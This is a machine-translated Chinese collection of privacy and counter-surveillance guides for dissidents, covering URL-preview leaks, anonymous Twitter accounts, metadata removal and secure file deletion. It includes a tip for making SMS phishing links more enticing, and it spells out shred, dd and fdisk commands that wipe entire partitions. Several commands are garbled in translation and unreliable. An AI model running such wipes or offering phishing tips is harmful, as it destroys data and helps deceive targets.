
以下是调查结果摘要：

Slack：Slack 很高兴生成URL预览并使用以下 User-Agent 标识自己：User-Agent: Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots) 请求的IP地址来自我公开的IP地址，通过我的办公室连接，在移动和桌面版本的 Slack 中。

Apple Messages：Messages 是一个有趣的测试，有一些非常独特的行为。如果您在桌面/笔记本电脑上的 Messages 发布链接，它将直接从您的公共 IP 地址生成预览，如预期的那样。User-Agent: Mozilla/5.0

(Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.4 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.4 facebookexternalhit/1.1 Facebot Twitterbot/1.0 非常有趣的是你在那里可以看到 Facebot 和 Twitterbot ！

如果您要向目标发送 SMS 网络钓鱼，您可以通过确保您拥有一个名为 apple-touch-icon-precomposed.png 的文件来增强 URL 预览体验。消息应用程序将在确定可以成功访问目标网页后尝试检索此文件。此文件将用于生成的预览中，并有助于吸引目标点击该链接。它也可以是一种确认 Messages 是首先进行 URL 预览的应用程序的方法。

Wire：很有趣，当您从桌面和移动电话上的应用程序发布 URL 时，您的公共IP地址将显示在日志中。但是，没有显示的 User-Agent 标头。事实上，Wire 发送的唯一标头是：Connection: close 所以这本身很有趣，因为你的许多 HTTP 客户端（浏览器，抓取工具，bots 等）都会发送额外的标头。通过 Wire 后确实变成了“告诉”，也许某人正在 Wire 应用程序中讨论目标站点。

请注意，在 Wire 中，首选项 →选项中有一个设置，名为“为您发送的链接创建预览”。如果禁用此选项，将阻止 Wire 执行这些 URL 预览。我建议你这样做。感谢 Michael Bazzell 对此提供的帮助。

Facebook：它使用 Facebook 拥有的基础设施来访问该网站进行预览。User-Agent: facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php) 它不使用您的公共IP地址，但确实表明有人在其 Facebook 个人资料上发布了指向目标网站的链接，或者已经通过 Facebook Messenger 发送了该链接。您看到的IP地址将被注册到 Facebook，因此您可以使用 ipintel.io 等网站进行查找。

WhatsApp：WhatsApp 的行为与其他服务有所不同。它不直接预览P地址，但如果您键入域名（和任何端口）它将尝试进行 URL 预览。此外，当您键入目标页面的 URI 时，它会执行连续请求，从而产生大量流量。看起来是这样的：User-Agent: WhatsApp/0.3.1649 N 请求来自您的公共IP地址。

对其他应用来说在粘贴链接或键入 URL 时未生成任何预览或流量。当然你应该自己测试一下来验证。

您可以采取一些措施来帮助降低风险：

取消 URL—只是用其他字符替换点和冒号或使用括号的方法。一个例子：

正常是这样：https://www.hunch.ly

改装后是这样：hxxps:*www[.]hunch[.]ly* 使用安全的*VPN*—这是次要的建议，因为它不能缓解原始问题，但对于正在暴露您的公共*IP*的服务，至少能掩盖。 *How To Blow Your Online Cover With URL Previews? The difference with URL previews in messaging applications is that you are broadcasting to the website owner that you are discussing the website, as opposed to just browsing to it.* 原文

AS14 使用社交媒体时你必须注意什么？——更安全的抵抗 - iyouport

护盾（AS）

【2018年11月29日存档】异议和反对是完全不同的。做异议非常简单，你只需要说出“我不同意什么”；而反对，您就需要更多更充分的技巧和技术能力，IYP一直在介绍这些知识。而其中最为基础的就是：保护自己的能力。我们今天就来说说这件事

参与政治活动、甚至仅仅是关心政治话题，在这个时代都有可能迅速令你面临风险，包括并不限于生活、职业、工作和人身安危，并且审查红线是模糊的，大多数情况下你可能完全不知道自己究竟哪一句话招致了灾难。中国读者应该对此深有体会。

事实上，这种局面在全球所有国家都一样。最初被大众捧为变革契机的社交媒体，事实上只是个巨型的监视器，而且是史上最具侵入性的监视器。之所以变成这样，很大程度上是由于有太多人不重视使用社交媒体的基本安全性。

在中国，关注隐私安全的人们已经开始嘲笑那些追求上网实名制的异议人士，但似乎整体上没有什么改观，或者为时已晚；更为重要的是，仅仅换一个化名是远远不够的，社交媒体有太多数据可以轻松确定你的身份。并且，对这些数据调用以跟踪异议人士、活动家和记者等敏感群体的政府行为，一直都在全球各个国家通用。

民主国家也一样。我们已经介绍过很多国家的案例，尤其是美国，各大硅谷巨头是情报机构最强有力的监视工具，如果您还记得棱镜文件中所展示的内容，此处无需赘述（在这里看到棱镜文件全部存档）。那已经是十年前了，而如今，这些伎俩只会更为加强，且更难以获得披露。

鉴于中国当局非常善于模仿、并且严重不透明，大型科技公司同样严重不透明—所谓的透明度报告早已形同虚设—不只有 BAT，还有美

国硅谷巨头公司对中国市场的垂涎，中文用户真的非常有必要提高警惕，这也是 IYP 一直采取的方案，即 根据全球不同国家出现的监视追踪案例和最新间谍跟踪技术的披露，将其全部假设为中国也会使用。借此思考应对方案，以便在最大程度上避免措手不及。

重要的是，要意识到这些担忧都是真实的，并且仅仅 IYP 单方面就已经收集到不止一例关于中国用户在 Twitter 发言而导致的被当局传唤、要求删帖，甚至要求注销账户。

但是，任何时候，公开的抗议对于政治合法性来说都是至关重要的，信息的流通对公民行动和认知具有决定性意义。自我审查是必需被否定的，我们的目标应该是自由的发言、无障碍的信息交互、无跟踪的网络动员和集结、以及每个人的安全。

如您所知，我们一直在支持去中心化网络模式，鼓励人们离开这些不透明的巨头提供的服务。但我们知道，这很可能是个长久的工作，集中化巨头的服务已经深入每个人生活的方方面面，习惯是顽固的和难以改变的（我们将在后面的文章中详细分析这些问题）。于是，短期内急需提请所有人关注的重点就是，继续使用 Twitter 等服务时，您最基本应该注意什么。

我们依旧相信在线动员和联合的效率将远高于线下，并且希望能充分利用互联网这一能力。如果您是正义之士，本文以及 IYP 的诸多文章，对您来说会非常重要。

本指南希望有助于降低个人所面临的人身风险，同时赋予人们安全行动的能力。

互联网没有国界，技术没有国界，这些保护方案在所有国家都是通用的。

安全的基本原则

操作安全性的基本原则实际上非常简单，就是我们常说的三个C：

- Cover
- Concealment
- Compartmentation

当然，还有更多更为严肃的反间谍技巧，我们曾经介绍过一些，但要记住这三个概念，它们是最基本的、也是必需的。其中最重要的是 compartmentation 和 concealment，在实践中，这意味着您需要将您

的具有敏感性的社交媒体帐户与您的个人真实生活完全分开。

区域化规则

1、🔐要—— 为此敏感 Twitter 帐户专门创建一个新的唯一电子邮件地址。这里有很多选择，但请认真考虑使用非本土服务；访问此帐户时始终使用 Tor，除了发布异议和反对信息或观点之外，永远不要使用它发布其他内容。这不是废话，我们曾经观察到有中文 Twitter 用户在简介中写着自己的 QQ 号、手机号、163邮箱。这是很危险的。

- 延伸阅读：《使用 **Tor** 保护自己时千万不要做这九件事！》

2、🔐要—— Twitter 是一个收集电话号码的蠢货，你很难在不提供电话号码的情况下使用它。您需要一个一次性的预付费电话，或获得一次性 VoIP 号码。这种方法对于其他需要关联手机号的通讯应用也都需要，详见下文：（如果您在美国的话，我们严重不建议使用谷歌语音，因为已经有很多案例显示它容易很受到州级政府的攻击，其他服务也有可能）

- 延伸阅读：《🔐 如何在不必暴露真实电话号码的情况下使用 **Signal**》

3、🔐要—— 使用 Tor 创建您的 Twitter 帐户，以及对 Twitter 帐户的所有访问权限；IP 地址以及 cookie 和其他跟踪器，Twitter 都有；这些数据也可被调查记者和媒体使用。

4、不要**!**—— 不要使用您的智能手机 Twitter 应用程序登录该帐户。否则 IP 地址将直接链接到您的电话帐户，并且您将面临通过技术手段被曝光的高风险；如果您必须在手机上使用 Twitter，请将其设为仅适用于该帐户的专用手机，而没有其他信息（如个人通讯录、照片等）；此外，Tor 的安卓版已出，它是个好主意，IOS 版很快会能实现；如果你是技术人员，我们推荐 **Algo;** 如果不是技术人员，那么请使用 **Freedome**，都可以尽量减少暴露。

5、不要**!**—— 该敏感账户不要响应 DM 或直接回复，特别是如果有 URL 的话（可用于捕获您的 IP 地址）甚至利用您的设备。说真的，不要点击通过@或 DM 发送给你的链接，特别是短链接。不过值得指出的是，Twitter 上的所有网址都是通过 Twitter 自己的 t.co 缩短和分析重定向的，因此即使来自已知且受信任的“安全网址”也会暴露帐户 IP。

6、不要❗—— 不要让这个敏感账户与您的个人帐户或与您相关联的其他人的帐户进行互动。一般来说，尝试维护单一的信息流，将数据推送到公众，不参与讨论或在帐户上涉及任何有可能关系到“私人”的信息。Twitter 上没有隐私，与你成为朋友的人也可能是被派去监视你的人。您不需要增加这样的风险。如果您还不理解这点，下面这篇文章中有一个案例：

- 延伸阅读：**Facebook** 钓鱼的“朋友” 《人性弱点》

7、不要❗—— 不要让这个敏感账户关注您的私人账户，或者任何与您有关联的账户，如果必需关注一些账户的话，仅仅关注通用账户，比如认证媒体和组织。

8、不要❗—— 不要从您的敏感帐户中推送“个人”照片。这包括屏幕截图、或任何个人性质的内容！如果需要包含图片，请将其裁剪，以便无法看到网络或其他浏览器标签等重要细节信息。任何时候，上传之前抹去元数据！

9、不要❗—— 请确保您的头像不是您的自拍或者您的亲属和亲密朋友的照片；确保简介信息与您私人没有任何关系。

隐藏规则

1、不要❗—— 不要向任何人展示或介绍你的活动，甚至不要提示这点。无论你在私人生活中采取什么样的公开立场，例如参加游行或集会、签署请愿书、或参与抵抗运动，都不要告诉任何人关于你的这个敏感 Twitter 账户。是任何人！包括你的伴侣、你的孩子、你最好的朋友和同事，保密的第一条原则就是保守秘密。

2、不要❗—— 任何时候不要使用工作单位的计算机（和单位的网络！）登录这个敏感账户。因为你无法控制它们，它们可以在未经你许可的情况下被查封和搜查；它们也有可能正在运行由您的公司/代理商安装的间谍软件，来监控您的活动，并确保您不会浪费时间在 Twitter 或 Medium 等网络应用上。所以它也能发现你正在做什么。

3、🔐要—— 通过启用全盘加密、使用强密码、使用密码管理器（在本地存储数据，而不是在所谓的云中存储数据）来保护您的设备；快速安装补丁；如果违反了上述建议您实际在使用智能手机操作您的敏感 Twitter 帐户—请勿使用指纹解锁和面部解锁！

4、🔐要—— 在操作敏感账户时，改变您的写作风格。感叹词、破折

号、惊叹号、省略号等等细节的频率，都有可能暴露您的身份。还记得我们推荐过的知识吗，关于通过行文推测笔者身份的技巧，这是行为心理学的一个基本功。它并没有你想象中那么复杂，大多数做过十年以上编辑工作的人都能自动获得这种能力。

5、不要**!**—— 不要使用这个敏感账户与您的任何朋友互动、包括任何熟人，不要让该账户与您的任何真实生活发生哪怕一点点联系。时刻记住，有人在长期暗中观察该账户，搜罗这些细节信息，此人就是有能力把你扔进监狱的人！

至少应该知道：**Twitter** 的风险

作为一种 Web 服务，Twitter 收集（并从数据代理商处购买）有关其用户的大量信息。这些信息将通过传票和老式渠道提供给当局，在某种程度上也可供公众使用。

至少在美国，看看情报机构能拿到什么；

- 姓名
- 地址
- 服务年限
- 从开始到现在的所有服务（和帐户）的交易记录

以上只是*至少*，Twitter 可用的其他信息还包括：

- 物理位置
- IP地址
- 浏览器类型
- 引用域名
- 与广告的互动（收集更多数据）
- Cookies

甚至 **DM**！您认为私信的安全的？才不是，已经有发生的美国的案例显示，当局拿到了 **Twitter** 私信的信息，并以此作为证据缉拿目标人。这些信息将永久存储在 Twitter 上，并可由法律机构随时收集。

必须知道，当局想要一切，所有历史数据，随时。 FBI 在处理 Tor 方面具有丰富的专业知识，能迅速处理已知的 Tor 出口节点；任何 VPN 都将以交换其信息为目标，这可能包括易于被识别的账单数据；在私有主机（例如 Algo 或 Streisand）上运行 VPN 之后将是来自服务器提供商的数据请求—再次，结算记录和用于创建帐户的 IP 地址

将是最严重的威胁。下面是一个典型案例：

- 延伸阅读：《**VPN？入侵？比特币？俄罗斯攻击者究竟是怎么被发现的？**》美国情报部门的这些能力，中国当局都有！

技巧的获得重在实践

和我们曾经推荐过的所有知识技巧一样，我们严重鼓励人们去实践，因为单纯阅读是无法掌握它们的，知识不可能做到100%传播，大部分知识需要您通过实践自己总结，那些无法言说的部分价值会更大。

> *Amateurs practice until they get it right, professionals practice until they can't get it wrong*

这些知识包括很多复杂的操作规则和指南，你必须严格遵守这些规范，如果你不希望自己遭受危险的话。如果您能在实践中学习，您的错误将极大程度上减少。所以，您最好在非敏感帐户上执行这些规则，并保持这些规则，直到熟练地使用它们。确保你对结果感到满意，知道如何使用这些工具，了解你应该做什么以及为什么做。

应该知道，抵抗者前辈们有句俗语：第一个错误就是最后一个错误。因为你没有机会再来一次的，当你违反安全规则并导致被发现和曝光时。

你是抵抗者，你需要确保可以熟练使用安全工具并且不会出错——所以，先在安全的地方练习，将新手级的错误排除在外，然后在重要的地方安全地实施和操作。

破坏安全的对手

有许多主要对手很容易导致帐户用户的去匿名化。这些包括并不限于：

- 社交媒体
- 电子邮件/电话，链接到该帐户
- 执法者（或其他国家的国家权力）
- 新闻媒体/调查记者
- 同事/朋友/家人

显然，上述每一种安全对手的能力、意图和机会都不同，需要不同的技术来防止暴露，以保护自己。虽然面对如此大的侦查力量似乎令人生畏，但你必须有很大程度的控制。并且，其中大部分都并不费力，

虽然长时间保持强大的安全状态需要专心致志。

于是你 🔐需要—— 请记住，大部分时间里，专制政权都不会为追踪小鱼苗而烦恼。除非你被认为是“一个问题”，否则维稳经费不大可能专门花在你身上。但是你究竟是“大”还是“小”，我们无法判断，在不同国家有不同的判断方法，在中国，您需要咨询一些有经验的人。

但是，大多数时候，对你来说最大的威胁很可能只是因为你说得太多了，而且经常通过不靠谱的渠道说话，你说得越多，监视你的人就越了解你，越容易关注你，并找到你对当权者来说“存在危险”的证据。

对事物的恐惧比事物本身更糟糕，所以我们尽量不要强调它。我们要把重点放在安防习惯上，而不是加深你的恐惧。

心理健康风险

这也与安全有关？是的，而且关系很大！

一旦掌握并严格实施了技术保护和安全程序，您将面临的最大威胁就是您自己。

创建和维护一个秘密身份可能会很令人紧张，需要开发一种分隔的身份，一个残缺的自我，破碎的自我。从长远角度上看，这对你的心理健康来说是非常痛苦的，这就是为什么做间谍工作的人需要花费大量时间进行心理咨询—— 让心理学家为他们提供可以自由地谈论自己和自己关注的东西的唯一安全之所。

你有必要认真考虑一位专业的心理学家，在那里你将受到高度保密级的保护，你将能够自由地谈论你所承受的压力。

我们一直在考虑为异议人士提供这类心理咨询服务，尤其是中国的异议人士已经普遍表现出虚无主义和焦虑症迹象的情况下。可惜目前为止都没有能让这一群体掌握基本安全通信知识和习惯，于是很难接触到他们。

如果您对此有更好的见解，欢迎通过安全方式与我们联系。

原文

AS15 如何躲避监视追踪？大清洗：反侦察的第一 - iyouport

护盾（AS）

【2019年7月5日存档】如何对付”取证工具”、如何避免被浏览器告密、如何释放磁盘空间、清除和删除不是一码事，究竟应该怎么做？本文提供一系列清洗剂，希望您的大扫除足够愉快**如何对付”取证工具”、如何避免被浏览器告密、如何释放磁盘空间、清除和删除不是一码事，究竟应该怎么做？本文提供一系列清洗剂，希望您的大扫除足够愉快**

几乎所有人都不希望其他人看到很多信息，例如：

- 信用卡信息
- 社会保险号
- 私人通信
- 个人资料
- 银行账户信息
- 医疗健康记录
- 其他敏感信息，如元数据
- 等等

你不能简单地将它们扫到地毯下面。根本没有那么大的空间。地毯下面已经有太多文件了，可见的和不可见的，Cookie，各种元数据，临时文件，缓存文件，一切都是随意堆放的，整个地方简直一团糟。

当我面对这种庞大的噪杂的状况时，我倾向于找一些空盒子，从前门开始，从一个房间到另一个房间，找到那些不属于该房间的东西，把它们收集起来装进盒子。我经常对盒子进行分类，并将东西放在“正确的位置”（通常是垃圾箱）。也有时，“正确的位置”被指定为另一个物理位置。万一有客人来，我会让某些混乱看起来像一堆垃圾，所以它不会被注意到。

每年左右，除了我保留用于访问社区空间的一些钥匙、以及我保存在房屋外的容器中的一些个人物品外，我会烧毁整个地方并建造了一所新房子。总的来说，这个策略对我有用。

下面我们介绍一些典型的需要你收拾的东西。

——元数据——

如果你询问关于一个人的事实是否能确定该人，那么答案将不仅仅是肯定或否定。如果我只知道的一个人的邮政编码，我并不知道他们是谁；如果我所知道的只是他们的出生日期，我不知道他们是谁；如果我所知道的只是他们的性别，我不知道他们是谁。但是，事实证明，如果我同时知道关于一个人的这三件事，我就能推断出他们的身份！其中每个事实都是部分识别。

有一个数学量可以帮你衡量一个事实与唯一揭示某人身份的结论之间的接近程度，就是熵，通常以比特来衡量。您可以认为熵是随机变量的不同可能性的数量概括：如果有两种可能性，则有1位熵; 如果有四种可能性，则有2位熵，以此类推。再加一位熵会使可能性的数量增加一倍。

元数据是关于数据的数据。

说白了，元数据就是隐藏的数据，它是可以 f**k you 的。元数据提供有关文件的背景信息。有可能是您创建的每个文档，您拍摄的每张数字照片，您下载的每个音乐文件等等，都具有少量元数据，这些元数据可能泄露有关您身份的重要信息。

公司收集元数据用于心理操纵—— 说服或广告；政府收集元数据，就……你懂的。

元数据在计算机取证中也扮演着许多重要角色：

- 它可以提供有关文档数据本身的确证信息。
- 它可以揭示有人试图隐藏、删除的信息。
- 它可用于自动关联来自不同来源的文档。

众所周知斯诺登透露了一个大规模的监控计划，包括拦截电子邮件和其他互联网通信和电话窃听。上游收集、Hemisphere 和 XKeyScore 都是吞噬我们的元数据，并通过 ICReach 等互连系统，数据可以被共享并与其他数据相关联。您可以使用此类关联数据库执行许多聪明的情报分析。这就是间谍们正在做的事。如果你我都能想到这么做，那

么他们当然也能想到。

而且，不仅是美国国家安全局和五眼国家的其他机构，这些技术事实上已经被许多国家用来恐吓和控制其人口。

照片——

照片包含隐藏信息，包括拍摄地点的 GPS 坐标、日期和时间、相机快门设置详细信息，甚至可能是您用于编辑它们的程序的名称。这种类型的元数据可能很有用，但您更可能希望在在线共享它之前将其从照片中删除。

ExifTool 是一个 perl 程序，可用于读取和编辑图像中的 exif 元数据。

mogrify 命令也可用于从图像中剥离 Exif 数据。对于与上面相同的文件，然后再次使用 exiftool 进行检查：

用于从目录及其所有子目录中的所有 jpg 图像中递归删除 Exif 数据：

```
$ find ./path/directory -type f -iname'* .jpg'|
xargs mogrify -strip
```

exiv2工具 http://www.exiv2.org/manpage.html 还有一个命令，用于删除图像中的所有 Exif 数据：

```
$ exiv2 rm imagename.jpg
```

要从当前目录中的所有 jpg 图像中删除 Exif 数据：

```
$ exiv2 rm * .jpg
```

用于从目录及其所有子目录中的所有 jpg 图像中递归删除 Exif 数据：

```
$ find ./path/directory -type f -iname'* .jpg'|
xargs exiv2 rm
```

MAT 是一个由 GUI 应用程序、CLI 应用程序和库组成的工具箱，用于匿名/删除元数据https://mat.boum.org/。

文件——

文档元数据是关于文档、电子表格、pdf 文件的一个或多个方面的信

息，对于创建它们的人来说并不总是可见的，但是可以由接下来接收它们的人找到。注释、跟踪更改、隐藏文本、标记、属性、附件和书签，都是文档元数据的示例。元数据删除软件可识别并删除文档中包含的元数据，因此无法再共享。

hexedit：

- 在操作任何 hexedit 代码之前，请务必备份数据。
- 通常，切换到 ASCII 模式，关闭“只读”模式，然后开始搜索文件。有关导航和命令，请参阅http://linux.die.net/man/1/hexedit。

例如，当擦洗 pdf 时查找“已创建”（元数据不止一次出现在 PDF 文件中）。如果找到元数据，则更改为假数据或删除。然后再次重复搜索 “create”, “creation”, “modified” 和 “modify” 等术语，同样替换或删除日期，再次重复每次搜索，以确保不会留下尾巴。

vi：

您还可以将 vi 用作十六进制编辑器。它不是一个真正的“十六进制模式”，所发生的是 vi 的缓冲区通过外部程序流式传输 xxd，但它适用于某些擦洗的情况。

像往常一样在 vi 中打开文件，点击 escape 并切换到十六进制模式：

：% ！XXD

完成后，退出十六进制模式，再次点击 escape 并键入

：% ！xxd -r

pdftk 和 sed：

有关 pdftk 命令，请参阅http://linux.die.net/man/1/pdftk。

要查看 Adobe Reader 默认情况下未显示的元数据：

```
$ pdftk filename.pdf dump_data
```

要更改元数据，首先将元数据放在文件中：

```
$ pdftk filename.pdf dump_data输出pdf-metadata
```

打开 pdf 元数据文件并删除您希望清理的数据：

保存 pdf 元数据文件。现在，您可以使用该数据来清理文件中的元数据：

```
$ pdftk filename.pdf update_info pdf-metadata
output filename-no-metadata.pdf
```

并检查结果：

```
$ pdftk filename-no-metadata.pdf dump_data
```

创建日期消失，并且出现了新的修改日期。iText 放弃了 pdftk 的使用。可以使用 sed 删除这些 infokeys：

```
$ sed -i 's/iText\ 2\.1\.7\ by\ 1T3XT//;s/
D:20120409144213+02'\//00'\////' filename-no-
metadata.pdf
```

PdfID0 和 PdfID1 是文件标识符。它们是有关该文件的各种信息的 md5，因此它具有唯一的字符串来标识文档而无需使用文件名。如果您也想要擦洗它们，请使用上面的 sed。使用 sed 从元数据中清除这两者并不需要什么烦人的技巧，这非常简单。

mat：

一旦 mat 检测到任何元数据，“State”将被标记为“Dirty”。您可以双击该文件以查看检测到的元数据，然后单击“清除”按钮以清空文件中的所有元数据字段。

您也可以从命令行运行 mat。如果没有选项，则默认操作是从文件中删除元数据。

检查目录及其子目录中的文件：

```
$ mat -c。
```

检查检测到的元数据：

```
$ mat -d
```

要清理所有文件并将原始文件存储为“* .bak”：

$ mat-b。

关于元数据，请详见 **IYP** 的更多介绍：

- 《无处可藏的数字足迹—— 亦正亦邪元数据 (上篇)》
- 《都是工具，从自我保护到有效利用—— 亦正亦邪元数据 (下篇)》

——删除 cookie——

Cookies 不是软件。它们无法编程，无法携带病毒，也无法释放恶意软件，无法通过硬盘驱动器。但是跟踪 cookie，特别是第三方跟踪 cookie 通常被用作编译个人长期浏览历史记录的方法。IYP 介绍浏览历史记录有多可怕，详见《浏览历史记录曝光你的内心全景图：#OSINT 开源调查演示》

Firefox：偏好 」 隐私 」 接受第三方 cookie 」从不。

Firefox /工具 」选项 」隐私 」“使用历史记录的自定义设置” 」Cookie：保持到：“我关闭Firefox”。

就是这么简单。

请注意，如果将某些 cookie 编码到会话历史记录文件中，那么某些 cookie 可能会在关闭时清除，Firefox 用于恢复以前的会话窗口和选项卡的文件。

——删除 evercookie——

Evercookie 是一个可用的 JavaScript API，可以在浏览器中生成极其持久的 cookie。它的目标是在客户删除标准 cookie，Flash cookie（本地共享对象或LSO）等之后识别客户端。Evercookie 通过将 cookie 数据存储在本地浏览器上可用的几种类型的存储机制中来实现这一点。此外，如果 evercookie 发现用户已删除任何类型的 cookie，它会使用每种可用机制重新创建它们。

使用 BleachBit，你可以在 Firefox，Safari 和谷歌浏览器删除 evercookies。这是一个免费的开源磁盘空间清理器，隐私管理器和计算机系统优化器（http://katana.oooninja.com/bleachbit/ ）

——搜索泄漏——

在大多数搜索引擎中，当您进行搜索然后单击链接时，搜索条件将发送到您单击的网站。这被称为“搜索泄漏”。

不仅是您打算访问的网站，还有搜索引擎也会从您的计算机获取数据。例如，谷歌跟踪用户搜索和在线行为，这并不是秘密，谷歌经常与要求这些数据的政府分享这些信息。有关详情，请参阅 Google 透明度报告http://www.google.com/transparencyreport/ 谷歌首席执行官埃里克施密特在过去的https://en.wikipedia.org/wiki/Eric_Schmidt#Public_positions 中提出了许多有争议的陈述。

Startpage https://www.startpage.com/ 也可以与 Ixquick 代理结合使用。在 Startpage 搜索结果页面上，可以使用 ‘View by Ixquick Proxy’ 选项通过代理访问搜索结果。Startpage 具有适用于 Mozilla Firefox 的 SSL 和 HTTPS 附加组件。

——伪装——

浏览器——

当您的浏览器从Web服务器请求页面时，浏览器会发送有关自身的信息以及请求。这些标题包括指示浏览器类型（Firefox，Opera，Mozilla 等），浏览器版本和底层平台（Windows XP，Linux，Mac OS X 等）的值。有关浏览器发送的数据，请访问http://www.ericgiguere.com/tools/http-header-viewer.html（javascript）。然后，Web 服务器使用此信息为浏览器选择适当的页面格式，因为不同的浏览器（甚至同一浏览器的不同版本）在支持 HTML 和 JavaScript 时具有不同的不兼容性。

有时，Web 服务器会错误解释或无法识别此信息，并向您发送格式不正确的页面。服务器甚至可能拒绝您访问其页面，无论是出于政治原因、还是您正在使用该网站不赞成的浏览器，或者因为其网页仅针对特定浏览器版本进行了测试 ……解决方案是通过将浏览器伪装成另一个浏览器来欺骗服务器。

内置于 Firefox 和 Chrome 中的是一些“地毯底下”的设置，可以在浏览时更改这些设置以改善您的隐私和匿名性。然而，我们可以做的大部分事都是为了掩盖身份，也可以避免会话被脱颖而出（尽管将会话与身份联系起来更难一点点）。根据您的背景、目的、威胁模型，不要让自己像互联网高速公路上的“大红色 A-Team 坦克车”一样脱颖而出。真的，浏览器说出去的东西太多了。

使用 panopticlick，您可以根据与其访问的网站共享的信息，测试您的浏览器配置的罕见性或独特性。Panopticlick 提供唯一性分数，让您看到在网上冲浪时辨认出您的身份有多容易https://panopticlick.eff.org/

用户代理切换器：

您可以添加自己的用户代理，甚至模仿成 webspider 并在它们之间切换。有关令人信服的用户代理列表，请参阅http://www.user-agents.org/index.shtml

- Chromium：https：//chrome.google.com/webstore/detail/user-agent-switcher-for-c/djflhoibgkdhkhhcedjiklpkjnoahfmg
- Firefox：https：//addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/

电子邮件——

电子邮件包含一个标题，其中包含发件人的 IP 地址以及可能在此过程中附加到标题的其他信息，例如作为垃圾邮件评级，电子邮件服务器上运行的反垃圾邮件软件可能会适用于邮件和服务器添加的其他信息。电子邮件客户端使用此信息来帮助识别垃圾邮件。

根据 RFC 821，电子邮件客户端将在 Helo / EHLO 命令中发送其域名，其中包括IP地址。随之而来的需求是伪装。

Thunderbird：

要查看 Thunderbird 电子邮件中的标题信息，请选择该邮件，然后单击“查看”菜单并选择“标题”」“全部”。消息的标题信息将替换 Thunderbird 窗口中的消息。

从技术上讲，hello 字符串中的IP地址值与发送/接收邮件无关，但由于它可能用于垃圾邮件评分或仅仅是出于礼貌，我建议输入有效的IP/主机名，如127.0.0.1。

要在 Thunderbird 编辑」 首选项」 高级」 配置编辑器中全局更改（对所有帐户）：

创建（或编辑）名为“mail.smtpserver.default.hello_argument”的条目（如果需要创建它，请使用右键单击」新建」字符串）

将该值更改为所需的IP或主机名（FQDN）：

要为每个 SMTP 服务器更改它，请创建（或编辑）名为 mail.smtpserver.smtp 「number」 .hello_argument 的条目，其中「number」是要将设置应用于的SMTP服务器的ID。在 Thunderbird 配置编辑器顶部的搜索框中键入“mail.smtpserver.smtp”，以查看哪些可用以及它们具有哪个ID。如果需要创建条目，请使用右键单击」新建」字符串。

TorBirdy 是 Thunderbird 的插件。它试图匿名您的连接（您需要安装 tor）并删除和更改几个信息字段；如果没有安装 tor 和 torbirdy，列表中有一些您可能希望在配置编辑器中更改的其他字符串的优秀示例。

请注意，如果您不是高级用户，除非您非常确定自己在做什么，否则不应更改任何设置。 **TorBirdy** 更改的偏好在卸载或禁用时将恢复为原始值。

postfix：

使用您喜欢的编辑器打开#vi /etc/postfix/main.cf并添加以下行：

```
smtp_bind_address=127.0.0.1
```

Restart postfix:

```
# /etc/init.d/postfix restart
```

——清理你的语言——

如果你是博客作者，请记住作者身份分析！可以用来识别你。这方面有套学问，但是往往不需要学习它也能做到，那就是凭经验，如果你担任编辑职务多年、或更简单只是个书虫，你也能有这种能力。所以，换位思考，当你写作并不希望被他人识别出来的时候，请注意采取你并不习惯的表达方式、标点符号的使用、标志性词汇、俚语、以及断句的偏好。

——释放磁盘空间——

apt：

要删除已安装（不再需要）的已下载软件包（.deb）：

```
$ sudo apt-get clean
```

要删除缓存中所有存档，以查找无法再下载的软件包（不再存储在存储库中的软件包或存储库中具有更新版本的软件包）：

```
$ sudo apt-get autoclean
```

删除不必要的软件包（卸载应用程序后，可能会有不再需要的软件包被留下）：

```
$ sudo apt-get autoremove
```

要删除旧内核版本：

```
$ sudo apt-get remove --purge linux-image-XXXX-XX-generic
```

如果您不知道要删除哪个内核版本：

```
$ dpkg --get-selections | grep linux-image
```

bleachbit：

——粉碎文件和删除数据——

即使擦除硬盘上的所有内容，有时也可以使用*取证软件和/或硬件*恢复（部分）数据。如果该数据是值得保密的，则安全地删除文件和数据，以便没有人能够恢复它们。

加密和压缩文件时，压缩/加密文件之前存在的明文版本或解密/解压缩后创建的明文副本仍保留在硬盘驱动器上。可能还会留下“临时”文件。除非你清除—— 而不仅仅是删除—— 那些明文文件。

您的个人数据的回声—— 交换文件，临时文件，休眠文件，已擦除文件，浏览器工件等—— 可能会保留在您用于访问（加密）数据的任何计算机上。提取那些回声只是一项微不足道的任务。这是一个陷阱。于是，请清除—不只是删除—回声。

粉碎文件——

Linux，FreeBSD 和许多其他* nix系统都附带了一个名为 shred 的命令行工具。即使使用高灵敏度数据恢复设备，shred 命令也可用于销

毁文件使其内容很难恢复。它会使用随机数据重复覆盖原始数据和相关的文件或设备名称。如果在没有选项的情况下使用，Shred 将覆盖给定的文件或设备25次。设备可以是分区或整个 HDD、USB 密钥驱动器等。

```
$ shred [option(s)] file(s)_or_devices(s)
```

例如

```
$ shred filename1 filename2
```

将粉碎两个文件，

```
$ shred / dev / hda4
```

以及，将粉碎第一个硬盘上的第四个分区。

默认情况下，shred 在覆盖文件或分区后不会删除它们。可以使用 -u 选项删除覆盖的文件。

```
$ shred -u filename1 filename2
```

这既为其他数据释放了磁盘空间，又使得重建碎片数据变得更加困难。

Shred 依赖于文件系统覆盖数据的假设。但是像 Ext3 和 ReiserFS 这样的日志文件系统、基于RAID 的文件系统、压缩文件系统，以及在临时位置缓存数据的文件系统，都不能满足这一假设。此外，文件副本可以保留在文件系统备份和远程镜像中。因此，粉碎分区比粉碎文件更可靠。

即使在粉碎分区时，大多数硬盘驱动器都会将不可见的区域映射到应用程序，其中包括碎片。这些区域的敏感数据不会被粉碎。

使删除的数据难以恢复——

DD：

将零或随机数据写入驱动器上的文件，直到它填满所有可用空间，然后将其删除：

```
$ dd if = / dev / urandom of = / path / filename1
```

然后删除：

```
$ rm / path / filename1
```

这也适用于分区：

```
$ dd if = / dev / urandom of = / dev / sda4
```

然后删除：

```
$ fdisk /dev/sda4Command (m for help): dPartition
number (1-4): 4
```

——永久删除文件——

Secure-Delete 包附带四个命令：

srm（安全删除）是“shred”命令的更高级版本。它使用由密码学家 Peter Gutmann 开发的随机数据、零和特殊值的组合来使文件无法恢复。碎化工具允许您指定通过次数，安全删除工具使用默认的38次通过。它还将为文件名分配一个随机值，隐藏该关键证据：

```
$ srm filename
```

删除目录及其所有子目录（递归）：

```
$ srm -r directory/
```

